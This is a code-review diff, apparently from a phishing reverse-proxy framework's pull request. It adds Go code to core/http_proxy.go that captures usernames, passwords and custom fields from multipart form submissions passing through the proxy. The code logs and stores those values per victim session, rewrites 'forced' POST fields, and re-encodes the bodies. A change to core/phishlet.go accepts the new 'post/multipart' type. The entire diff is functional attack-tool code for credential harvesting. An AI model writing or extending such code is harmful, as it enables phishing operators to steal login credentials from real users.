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Capture credentials in multipart/form-data #1152

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5f0eb69
added capture of multipart post data (`type: 'post/multipart'`)
callightmn Dec 14, 2024
6bd9c26
added capability to proxy multipart file
callightmn Jan 5, 2025
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243 changes: 199 additions & 44 deletions core/http_proxy.go
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Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,9 @@ import (
"strings"
"sync"
"time"
"mime"
"mime/multipart"
"net/textproto"

"golang.org/x/net/proxy"

Expand Down Expand Up @@ -672,6 +675,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

json_re := regexp.MustCompile("application\\/\\w*\\+?json")
form_re := regexp.MustCompile("application\\/x-www-form-urlencoded")
multipart_re := regexp.MustCompile("multipart\\/form-data")

if json_re.MatchString(contentType) {

Expand Down Expand Up @@ -748,7 +752,150 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
log.Debug("force_post: body: %s len:%d", body, len(body))
}
}
} else if multipart_re.MatchString(contentType) {
if req.ParseMultipartForm(32 << 20) == nil && req.MultipartForm != nil && len(req.MultipartForm.Value) > 0 {
log.Debug("POST: %s", req.URL.Path)

for k, v := range req.MultipartForm.Value {
// patch phishing URLs in POST params with original domains

if pl.username.tp == "post/multipart" {
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
if pl.password.tp == "post/multipart" {
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
for _, cp := range pl.custom {
if cp.tp == "post/multipart" {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
}
}
for k, v := range req.MultipartForm.Value {
req.MultipartForm.Value[k][0] = string(p.patchUrls(pl, []byte(v[0]), CONVERT_TO_ORIGINAL_URLS))
}

// force posts
for _, fp := range pl.forcePost {
if fp.tp == "post/multipart" {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.MultipartForm.Value {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
}
for k, _ := range req.MultipartForm.File {
if fp_s.key.MatchString(k) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s", k_matched, k)
break
}
}
}
if k_matched == 0 {
ok_search = true
}
} else {
ok_search = true
}

if ok_search {
for _, fp_f := range fp.force {
req.MultipartForm.Value[fp_f.key][0] = fp_f.value
}
}
}
}
}

buf := &bytes.Buffer{}
mpw := multipart.NewWriter(buf)

_, params, err := mime.ParseMediaType(req.Header.Get("Content-Type"))
if err != nil {
log.Error("%v", err)
}

mpw.SetBoundary(params["boundary"])
for k, v := range req.MultipartForm.Value {
log.Debug("POST %s = %s", k, v[0])

w, err := mpw.CreateFormField(k)
if err != nil {
log.Error("%v", err)
}

w.Write([]byte(v[0]))
}

for k, fheaders := range req.MultipartForm.File {
for _, fheader := range fheaders {
// cannot call CreateFormFile since it defaults to application/octet-stream
h := make(textproto.MIMEHeader)
h.Set("Content-Disposition", fmt.Sprintf(`form-data; name="%s"; filename="%s"`, k, fheader.Filename))
h.Set("Content-Type", fheader.Header["Content-Type"][0])

fw, err := mpw.CreatePart(h)
if err != nil {
log.Error("%s", err)
}

file, err := fheader.Open()
if err != nil {
log.Error("%v", err)
}

defer file.Close()
io.Copy(fw, file)
}
}

err = mpw.Close()
if err != nil {
log.Error("%v", err)
}

body = buf.Bytes()
req.ContentLength = int64(len(body))
}
} else if form_re.MatchString(contentType) {

if req.ParseForm() == nil && req.PostForm != nil && len(req.PostForm) > 0 {
Expand All @@ -757,34 +904,40 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
for k, v := range req.PostForm {
// patch phishing URLs in POST params with original domains

if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
if pl.username.tp == "post" {
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
if pl.password.tp == "post" {
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
for _, cp := range pl.custom {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
if cp.tp == "post" {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
Expand All @@ -809,36 +962,38 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

// force posts
for _, fp := range pl.forcePost {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.PostForm {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
if fp.tp == "post" {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.PostForm {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
}
}
if k_matched == 0 {
if k_matched == 0 {
ok_search = true
}
} else {
ok_search = true
}
} else {
ok_search = true
}

if ok_search {
for _, fp_f := range fp.force {
req.PostForm.Set(fp_f.key, fp_f.value)
if ok_search {
for _, fp_f := range fp.force {
req.PostForm.Set(fp_f.key, fp_f.value)
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("force_post: body: %s len:%d", body, len(body))
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("force_post: body: %s len:%d", body, len(body))
}
}
}
Expand Down
4 changes: 2 additions & 2 deletions core/phishlet.go
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Original file line number Diff line number Diff line change
Expand Up @@ -699,8 +699,8 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
if op.Path == nil || *op.Path == "" {
return fmt.Errorf("force_post: missing or empty `path` field")
}
if op.Type == nil || *op.Type != "post" {
return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
if op.Type == nil || (*op.Type != "post" && *op.Type != "post/multipart") {
return fmt.Errorf("force_post: unknown type - only 'post' and 'post/multipart' are currently supported")
}
if op.Force == nil || len(*op.Force) == 0 {
return fmt.Errorf("force_post: missing or empty `force` field")
Expand Down